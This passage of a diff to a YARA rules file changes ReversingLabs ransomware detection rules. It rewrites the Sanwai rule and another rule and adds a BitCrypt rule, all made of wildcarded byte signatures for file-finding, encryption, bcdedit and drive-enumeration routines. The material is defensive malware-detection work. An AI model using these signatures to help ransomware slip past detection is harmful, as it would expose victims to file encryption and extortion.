-            ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50
-            8D 4D ?? E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ??
-            E8 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ??
-            ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 51 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 83
-        }
-		$find_files_2_p2 = {
-            F8 ?? 0F 85 ?? ?? ?? ?? 83 7D ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 45 ?? 51 50 FF
-            15 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 FB ?? 0F 84 ?? ?? ?? ?? 8B 5D ?? 8B F0 80
-            BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? FF B5 ??
-            ?? ?? ?? 0F 43 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 00
-            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B D0
-            8D 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 8D 85 ?? ?? ?? ?? 51 50 8B CA E8 ?? ?? ?? ?? F6
-            85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 84 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ??
-            8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D
-            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C6 E9
-        }
 		$encrypt_files_p1 = {
-            6A ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 89 9D ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 6A ?? FF B5
-            ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? FF D6 8B D8
-            83 FB ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 57
-            FF D6 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 ?? ??
-            ?? ?? B9 ?? ?? ?? ?? 50 6A ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? F3
-            A5 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ??
-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? FF B5 ?? ?? ?? ?? FF B5 ?? ??
-            ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? 50 6A ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? 8B F0 FF 15 ??
-            ?? ?? ?? 85 F6 0F 95 C3 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 89 B5 ?? ?? ?? ?? 56 53 FF
-        }
+            48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 57 41 54 41 55 41 56 41 57 48 83 EC ??
+            45 33 FF 4C 8B F2 49 8B D8 4C 89 78 ?? C7 40 ?? ?? ?? ?? ?? C7 40 ?? ?? ?? ?? ?? 4C
+            89 78 ?? 4C 89 78 ?? 4C 89 78 ?? 4C 89 78 ?? B8 ?? ?? ?? ?? 48 8B F1 45 33 C9 44 8B
+            C0 8B D0 49 8B CE 45 32 ED 48 83 CD ?? 49 8B FF FF 15 ?? ?? ?? ?? 4C 8B E0 48 3B C5
+            75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ??
+            ?? ?? E9 ?? ?? ?? ?? 45 33 C9 4C 89 7C 24 ?? 48 8B CB 41 8D 51 ?? 45 8D 41 ?? C7 44
+            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B E8 48 83 F8 ?? 75
+            ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ??
+            ?? E9 ?? ?? ?? ?? BB ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 33 D2 44 8B CB
+      }
 		$encrypt_files_p2 = {
-            15 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 85 C0 0F 84 ?? ?? ?? ?? 8D 56 ?? 8B 85 ?? ?? ??
-            ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 C8 8D 85 ?? ?? ?? ??
-            3B 8D ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 50 6A ?? 0F 44 F2 56 6A ??
-            FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 50 FF B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            85 C0 74 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85
-            ?? ?? ?? ?? 6A ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF D7 BA ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 53 FF D6 FF B5
-            ?? ?? ?? ?? FF D6 B3 ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ??
-            ?? ?? ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77
-            ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B
-            8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C2
+            44 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ??
+            4C 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? 44 8B CB 33 D2 C7 44 24 ?? ?? ?? ?? ?? FF 15 ??
+            ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 4C
+            24 ?? 48 8D 44 24 ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? 48 89 44 24 ?? FF 15 ?? ?? ??
+            ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 0D ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 44 8B C0 45 33 C9 FF 15
+            ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 4C 8B
+            44 24 ?? 48 8B 4C 24 ?? 48 8D 44 24 ?? 41 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 44 24
+            ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? E9 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 41 B8 ?? ?? ?? ?? 48 8D 15
+            ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 DB 90 4C 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? 48 8B D7 49 8B
+            CC 4C 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ??
+            48 8B 4C 24 ?? B8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 0F B6 DB 0F 42 D8 48 8D 44 24
+            ?? 45 33 C9 48 89 44 24 ?? 44 0F B6 C3 33 D2 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 85 C0
+      }
+		$encrypt_files_p3 = {
+            74 ?? 44 8B 44 24 ?? 4C 8D 4C 24 ?? 48 8B D7 48 8B CD 4C 89 7C 24 ?? FF 15 ?? ?? ??
+            ?? 85 C0 74 ?? 84 DB 0F 84 ?? ?? ?? ?? 41 B5 ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ??
+            ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? EB ?? FF 15 ?? ?? ?? ?? 48 8D
+            15 ?? ?? ?? ?? 44 8B C0 48 8B CE E8 ?? ?? ?? ?? 4D 85 E4 74 ?? 49 8B CC FF 15 ?? ??
+            ?? ?? 48 85 ED 74 ?? 48 8B CD FF 15 ?? ?? ?? ?? 48 85 FF 74 ?? 48 8B CF E8 ?? ?? ??
+            ?? 48 8B 4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B
+            D8 E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C
+            8D 05 ?? ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48
+            8D 15 ?? ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 8B
+            4C 24 ?? 48 85 C9 74 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 8B D8 E8 ??
+            ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 48 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ??
+            ?? ?? ?? 48 8D 48 ?? 48 8D 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ??
+            ?? ?? ?? 48 83 C0 ?? 44 8B C3 48 8B C8 E8 ?? ?? ?? ?? 48 8B 4C 24
         }
+		$find_files = {
+            E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 F6 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ??
+            ?? 00 00 E8 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15
+            ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83
+            F8 ?? 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? 41
+            B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 44 24 ?? ?? 74 ?? 4C 8D 44
+            24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ??
+            ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D
+            15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ??
+            ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ??
+            ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48
+            8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C
+            24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ??
+            FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15
+            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ??
+            ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ??
+            85 C0 0F 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 48 8D
+            8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48
+            8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 B4 24 ?? ?? 00 00 E8 ?? ?? ?? ??
+            4C 8D 44 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 8B D7 FF 15 ?? ?? ?? ?? 4C 8D 84 24 ?? ??
+            ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 39 74 24 ?? 76
+            ?? 4C 8D 0D ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24
+            ?? E8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CB FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            48 8B CB FF 15
+      }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and $find_files and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Sanwai : TC_DETECTION MALICIOUS MALWARE FILE
+import "pe"
+
+rule REVERSINGLABS_Win32_Ransomware_Bitcrypt : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Sanwai ransomware."
+		description = "Yara rule that detects BitCrypt ransomware."
 		author = "ReversingLabs"
-		id = "01912621-4a34-5e34-8542-5b561e8da567"
-		date = "2021-11-11"
-		modified = "2021-11-11"
+		id = "f00a0fd8-31a9-5ee6-b560-09ccf6fe490b"
+		date = "2020-07-15"
+		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sanwai.yara#L1-L71"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a7a95b2403fe539dce0d856cc1c04d15440677ea39c0a22e818b42333a64e92c"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BitCrypt.yara#L3-L112"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "66cfe16a182e7f20d6358be9569ada5e6c36c94d44781d8c741638e1b174d44e"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -31757,64 +33519,106 @@ rule REVERSINGLABS_Win32_Ransomware_Sanwai : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sanwai"
+		tc_detection_name = "BitCrypt"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
-            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D
-            ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84
-            ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ??
-            ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B
-            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 76 ?? FF 15 ??
-            ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8
-            ?? ?? ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ??
-            85 C0 75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59
-            5F 5E 5B 8B E5 5D C3 83 F8 ?? 75 ?? 8B 4D ?? D1 E9 F6 C1 ?? B9 ?? ?? ?? ?? 0F 45 C1
-            8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3 B8 ?? ?? ?? ?? 8B 4D ?? 64 89
-            0D ?? ?? ?? ?? 59 5F 5E 5B 8B E5 5D C3
+		$bc_bcdedit = {
+            55 8B EC 6A ?? 53 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3
+            E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8D 45
+            ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
+            ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ??
+            68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? C3
         }
-		$import_key = {
-            8D 44 24 ?? 50 6A ?? 6A ?? 6A ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 5E 85
-            C0 75 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 32 C0 5F 8B 4C 24 ?? 33 CC E8 ?? ?? ?? ??
-            83 C4 ?? C3 8B 44 24 ?? FF 74 24 ?? 8B 08 8B 40 ?? 89 47 ?? 8D 44 24 ?? 50 57 6A ??
-            6A ?? 6A ?? FF 74 24 ?? 89 0F FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ??
-            FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? B0 ?? 5F 33 CC E8 ?? ?? ?? ?? 83 C4 ?? C3
+		$bc_enum_drives_a_z = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 D2 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 8B F0 33 C0 55 68 ?? ?? ??
+            ?? 64 FF 30 64 89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 06 B3 ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ??
+            8D 45 ?? B1 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D3 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B
+            85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 E8 ?? 75 1B 8D 85 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ??
+            ?? 8B 06 8B 08 FF 51 ?? 43 80 FB ?? 0F 85 65 FF FF FF 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C3
         }
-		$encrypt_files = {
-            8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ??
-            8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ??
-            1B C0 83 C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B
-            BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8B CF E8 ?? ?? ?? ?? 51 C6 45 ?? ?? 8D 4D ?? 8B
-            9D ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? 81 CB ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 83 CB ?? 83 7D ?? ?? 89 9D ?? ?? ?? ?? 0F 43 4D ?? 83
-            7D ?? ?? 89 9D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 8B 01 3B
-            02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 73 ?? 8A 01 3A 02 75 ?? 83 FE ?? 74 ?? 8A 41 ??
-            3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? 33 C0 EB ?? 1B C0 83
-            C8 ?? 85 C0 75 ?? 8B 5D ?? 8B 7D ?? C6 85 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 45 ?? 8B
-            CF 50 E8 ?? ?? ?? ?? 51 8D 4D ?? C7 45 ?? ?? ?? ?? ?? 51 83 CB ?? 8B C8 89 9D ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 7D ?? 8D 4D ?? 81 CB ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 8B 5D ??
-            83 FB ?? 0F 43 CF 83 7D ?? ?? 0F 85
+		$bc_do_extensions_1 = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 57 33 DB 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D
+            ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 4D ?? 89 55 ?? 89 45 ?? 8B 7D ?? 8B 5D ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 85 ??
+            ?? ?? ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 85 81 01 00 00 E8 ?? ?? ?? ?? BA ??
+            ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B F0 8B C3 8B 14 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ??
+            50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            85 C0 75 C8 EB 28 A0 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8B 03 33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B
+            C3 E8 ?? ?? ?? ?? 8B 13 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 C8 FF 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ??
